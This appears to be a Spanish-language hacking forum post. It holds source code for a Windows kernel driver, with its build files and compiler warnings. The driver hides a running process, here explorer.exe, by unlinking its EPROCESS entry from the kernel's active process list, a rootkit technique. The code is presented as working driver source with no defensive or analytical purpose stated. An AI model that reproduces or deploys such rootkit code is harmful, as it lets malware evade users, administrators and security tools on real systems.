Foro de elhacker.net

#include <ntddk.h>
#include <ntifs.h>
 
void Salir(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Saliendo");
}
 
void HideProcess( char* input )
{
	PEPROCESS PeProcess = NULL; 
	PLIST_ENTRY	pNextEntry, pListHead; 
	PLIST_ENTRY BeforeProcess,Process,AfterProcess;
	PeProcess = PsGetCurrentProcess(); 
	if(!PeProcess) 
		return;
	if(IsListEmpty(&PeProcess->ActiveProcessLinks))
		return;
	else
	{
		pListHead = &PeProcess->ActiveProcessLinks;
		pNextEntry = pListHead->Flink;
 
		while(pNextEntry != pListHead) 
		{
			PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
			if(PeProcess->ActiveThreads)
			{
				if( !IsListEmpty( &PeProcess->ThreadListHead ) )
				{
					if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
					{
						Process = pNextEntry;
						BeforeProcess = pNextEntry->Blink;
						AfterProcess = pNextEntry->Flink;
						BeforeProcess->Flink = Process->Flink;
						AfterProcess->Blink = Process->Blink;
						return;
					}
				}		
			}
			PeProcess = NULL;
			pNextEntry = pNextEntry->Flink;
		}
	}
	return;
}
 
NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
	NTSTATUS s;
	int i=0;
	int e = 0;
	int nstruct = 0;
	int cont = 0;
	unsigned long pid;
	PUNICODE_STRING pUnicode_NAme;
	ANSI_STRING stri;
	PEPROCESS eproc;
 
    DriverObject->DriverUnload=Salir;
 
	DbgPrint("Escondiendo explorer.exe...");
	HideProcess("explorer.exe");
	DbgPrint("Trabajo terminado :)");
	return  STATUS_SUCCESS;
}

!INCLUDE $(NTMAKEENV)\makefile.def

TARGETNAME=Protect
TARGETTYPE=DRIVER
TARGETPATH=obj


INCLUDES=..\..\inc

SOURCES = driver.c

48    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)  
   
         driver.c(48) : warning 28101: The Drivers module has inferred that the current function is a DRIVER_INITIALIZE function: This is informational only. No problem has been detected.
Found in function 'DriverEntry'
48   

59        DriverObject->DriverUnload=Salir;   
   
         driver.c(59) : warning 28155: The function being assigned or passed should be a DRIVER_UNLOAD function: Add the declaration 'DRIVER_UNLOAD Salir;' before the current first declaration of Salir.
Found in function 'DriverEntry'
59